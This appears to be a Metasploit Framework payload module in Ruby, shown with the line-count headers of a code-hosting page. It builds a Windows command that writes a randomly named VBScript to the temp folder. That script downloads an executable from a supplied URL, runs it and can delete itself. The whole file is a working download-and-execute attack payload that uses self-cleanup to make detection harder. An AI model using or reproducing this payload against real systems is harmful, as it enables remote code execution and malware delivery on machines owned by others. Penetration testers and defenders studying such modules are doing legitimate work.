76 lines
2.5 KiB
Ruby
76 lines
2.5 KiB
Ruby
# $Id$
|
|
|
|
##
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
# web site for more information on licensing and terms of use.
|
|
# http://metasploit.com/
|
|
##
|
|
|
|
require 'msf/core'
|
|
require 'msf/base/sessions/command_shell'
|
|
require 'msf/base/sessions/command_shell_options'
|
|
|
|
module Metasploit3
|
|
|
|
include Msf::Payload::Single
|
|
include Msf::Sessions::CommandShellOptions
|
|
|
|
def initialize(info = {})
|
|
super(merge_info(info,
|
|
'Name' => 'Windows Executable Download and Execute (via .vbs)',
|
|
'Version' => '$Revision$',
|
|
'Description' => 'Download an EXE from an HTTP(S) URL and execute it',
|
|
'Author' => 'scriptjunkie',
|
|
'License' => BSD_LICENSE,
|
|
'Platform' => 'win',
|
|
'Arch' => ARCH_CMD,
|
|
'Handler' => Msf::Handler::None,
|
|
'Session' => Msf::Sessions::CommandShell,
|
|
'PayloadType' => 'cmd',
|
|
'Payload' =>
|
|
{
|
|
'Offsets' => { },
|
|
'Payload' => ''
|
|
}
|
|
))
|
|
|
|
register_options(
|
|
[
|
|
OptString.new('URL', [ true, "The pre-encoded URL to the executable" ]),
|
|
OptString.new('EXT', [ true, "The extension to give the saved file", "exe" ]),
|
|
OptBool.new('INCLUDECMD', [ true, "Include the cmd /q /c", false ]),
|
|
OptBool.new('DELETE', [ true, "Delete created .vbs after download", true ])
|
|
], self.class)
|
|
end
|
|
|
|
def generate
|
|
return super + command_string
|
|
end
|
|
|
|
def command_string
|
|
# It's already long. Keep variable names short.
|
|
vbsname = Rex::Text.rand_text_alpha(1+rand(2))
|
|
exename = Rex::Text.rand_text_alpha(1+rand(2))
|
|
xmlhttpvar = Rex::Text.rand_text_alpha(1+rand(2))
|
|
streamvar = Rex::Text.rand_text_alpha(1+rand(2))
|
|
|
|
command = ''
|
|
command << "cmd.exe /q /c " if datastore['INCLUDECMD']
|
|
# "start #{vbsname}.vbs" instead of just "#{vbsname}.vbs" so that the console window
|
|
# disappears quickly before the wscript libraries load and the file downloads
|
|
command << "cd %tmp%&echo Set #{xmlhttpvar}=CreateObject(\"Microsoft.XMLHTTP\"):"+
|
|
"#{xmlhttpvar}.Open \"GET\",\"#{datastore['URL']}\",False:"+
|
|
"#{xmlhttpvar}.Send:"+
|
|
"Set #{streamvar}=CreateObject(\"ADODB.Stream\"):"+
|
|
"#{streamvar}.Type=1:"+
|
|
"#{streamvar}.Open:"+
|
|
"#{streamvar}.Write #{xmlhttpvar}.responseBody:"+
|
|
"#{streamvar}.SaveToFile \"#{exename}.#{datastore['EXT']}\",2:"+
|
|
"CreateObject(\"WScript.Shell\").Run \"#{exename}.#{datastore['EXT']}\":"
|
|
command << "CreateObject(\"Scripting.FileSystemObject\").DeleteFile \"#{vbsname}.vbs\"" if datastore['DELETE']
|
|
command << " >#{vbsname}.vbs"+
|
|
"&start wscript #{vbsname}.vbs"
|
|
end
|
|
end
|